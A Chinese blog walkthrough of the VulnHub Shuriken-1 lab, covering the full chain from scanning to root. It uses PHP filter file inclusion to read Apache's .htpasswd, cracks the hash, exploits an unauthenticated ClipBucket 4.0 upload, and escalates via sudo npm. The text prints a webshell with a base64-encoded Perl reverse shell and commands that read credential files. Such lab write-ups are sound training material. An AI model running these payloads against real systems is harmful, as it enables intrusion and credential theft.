【精选】VulnHub Shuriken-1 (超详细过程思路)

 博主介绍

‍ 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【java】 【VulnHub靶场复现】【面试分析】
点赞➕评论➕收藏 == 养成习惯(一键三连)
欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋
作者水平有限,欢迎各位大佬指点,相互学习进步!

一、信息收集

1.主机发现

靶机IP地址是:192.168.3.130

┌──(rootkali)-[~/桌面]
└─# arp-scan -l 

【精选】VulnHub Shuriken-1 (超详细过程思路)_第1张图片

2.端口扫描

开放了80、8080端口

┌──(rootkali)-[~/桌面]
└─# nmap -sS -A -p- 192.168.3.130 

【精选】VulnHub Shuriken-1 (超详细过程思路)_第2张图片

3.web页面

【精选】VulnHub Shuriken-1 (超详细过程思路)_第3张图片

扫描目录:

┌──(rootkali)-[~/桌面]
└─# dirsearch -u http://192.168.3.130

【精选】VulnHub Shuriken-1 (超详细过程思路)_第4张图片

【精选】VulnHub Shuriken-1 (超详细过程思路)_第5张图片

【精选】VulnHub Shuriken-1 (超详细过程思路)_第6张图片

secret.png 的图片文字是 javascript,作者提示我们应该与 javascript 代码有关,仔细看首页 index.php 中有两个js代码

访问web页面的js

http://shuriken.local/index.php?referer=
http://broadcast.shuriken.local

【精选】VulnHub Shuriken-1 (超详细过程思路)_第7张图片

【精选】VulnHub Shuriken-1 (超详细过程思路)_第8张图片

试着想直接看看能不能访问到,发现域名解析失败,所有直接把域名加入到/etc/hosts

【精选】VulnHub Shuriken-1 (超详细过程思路)_第9张图片

添加完成之后,访问域名,发现需要登录

【精选】VulnHub Shuriken-1 (超详细过程思路)_第10张图片

【精选】VulnHub Shuriken-1 (超详细过程思路)_第11张图片

4.文件包含漏洞

存在文件包含漏洞

【精选】VulnHub Shuriken-1 (超详细过程思路)_第12张图片

访问broadcast.shuriken.local,弹出用户登录框。由于http basic认证,用户名密码为保存在.htaccess或者.htpasswd文件中,文件和位置保存在/etc/apache2/apache2.conf

因此可以用上面的文件包含漏洞读取该文件:

配置文件:/etc/apache2/sites-enabled/000-default.conf

sites-enabled是apache2正在使用的网站配置文件,sites-available是apache2可用的网站配置文件。

enabled中只有一个000-default.conf快捷方式。availbel中有一个000-default.conf和default-ssl.conf两个文件。

000-default.conf是使用http协议网站的默认网站配置文件,而default-ss.conf是https协议网站才使用的默认网站配置文件。

Apache默认目录:/var/www/html

htpasswds是用于创建和更新用于存储HTTP用户基本身份验证的用户名和密码的平面文件。

┌──(rootkali)-[~/桌面]
└─# curl http://shuriken.local/index.php?referer=php://filter/convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf

【精选】VulnHub Shuriken-1 (超详细过程思路)_第13张图片

然后base64解码:

提示我没还需要读这个文件:/etc/apache2/.htpasswd

【精选】VulnHub Shuriken-1 (超详细过程思路)_第14张图片

读取/etc/apache2/.htpasswd文件

┌──(rootkali)-[~/桌面]
└─# curl http://shuriken.local/index.php?referer=php://filter/convert.base64-encode/resource=/etc/apache2/.htpasswd>>123.txt
得到:developers:$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0

【精选】VulnHub Shuriken-1 (超详细过程思路)_第15张图片

进行解码

┌──(rootkali)-[~/桌面]
└─# echo "$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0" > hash.txt

┌──(rootkali)-[~/桌面]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

得到密码是:`9972761drmfsls`

二、漏洞利用

1.登录网站

账号:developers
密码:9972761drmfsls

【精选】VulnHub Shuriken-1 (超详细过程思路)_第16张图片

查看到CMS框架是:ClipBucket version 4.0

【精选】VulnHub Shuriken-1 (超详细过程思路)_第17张图片

2.ClipBucket

查找下漏洞利用

┌──(rootkali)-[~/桌面]
└─# searchsploit ClipBucket 

【精选】VulnHub Shuriken-1 (超详细过程思路)_第18张图片

【精选】VulnHub Shuriken-1 (超详细过程思路)_第19张图片

通过exp,知道可以将任意文件上传,不需要经过验证

webshell木马的代码如下:

GIF89a
'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

【精选】VulnHub Shuriken-1 (超详细过程思路)_第20张图片

3.反弹shell

┌──(rootkali)-[~/桌面]
└─# curl -u developers:9972761drmfsls -F "[email protected]" -F "plupload=1" -F "name=webshll.php" "http://broadcast.shuriken.local/actions/photo_uploader.php"
{"success":"yes","file_name":"1701277954ef7242","extension":"php","file_directory":"2023\/11\/29"}

拼接以后的路径就是:

http://broadcast.shuriken.local/files/photos/2023/11/29/1701277954ef7242.php

【精选】VulnHub Shuriken-1 (超详细过程思路)_第21张图片

再开启一个终端监听,反弹shell

nc -lvvp 4444

python -c 'import pty; pty.spawn ("/bin/bash")'  #交互式shell

【精选】VulnHub Shuriken-1 (超详细过程思路)_第22张图片

三、提权

1.sudo提权

sudo -l

【精选】VulnHub Shuriken-1 (超详细过程思路)_第23张图片

提权网站:

npm | GTFOBins icon-default.png?t=N7T8https://gtfobins.github.io/gtfobins/npm/#sudo【精选】VulnHub Shuriken-1 (超详细过程思路)_第24张图片

TF=$(mktemp -d): 这一行使用 mktemp -d 命令创建一个临时目录,并将其路径赋值给变量 TF。mktemp -d 用于创建一个临时目录。

echo '{"scripts":{"preinstall":"/bin/sh"}}'$TF/package.json: 这一行使用 echo 命令生成一个包含 npm 脚本的 JSON 文件内容,并将其输出到控制台。具体来说,生成的内容是 {"scripts":{"preinstall":"/bin/sh"}},然后使用 $TF 变量将路径添加到 package.json 文件的末尾。最终的输出是一个 JSON 字符串,表示一个包含 preinstall 脚本的 package.json 文件。

sudo npm -C $TF --unsafe-perm i: 这一行使用 npm 命令在指定的临时目录中执行安装。具体来说:

sudo: 使用管理员权限运行命令,通常用于执行需要更高权限的操作。
npm: Node.js 包管理器。
-C $TF: 指定 npm 在哪个目录中执行操作,这里是指定为之前创建的临时目录。
--unsafe-perm: 以不安全的权限模式运行 npm,通常在以管理员身份执行时需要。它允许在更高的权限下执行 npm 脚本。
i: 是 npm install 的缩写,用于安装项目的依赖项

步骤:

touch package.json
echo '{"scripts":{"dev":"/bin/bash"}}' > package.json
sudo -u server-management npm run dev

【精选】VulnHub Shuriken-1 (超详细过程思路)_第25张图片

2.flag1

【精选】VulnHub Shuriken-1 (超详细过程思路)_第26张图片

你可能感兴趣的:(VulnHub,web,前端,后端,服务器,网络安全,vulnhub,linux)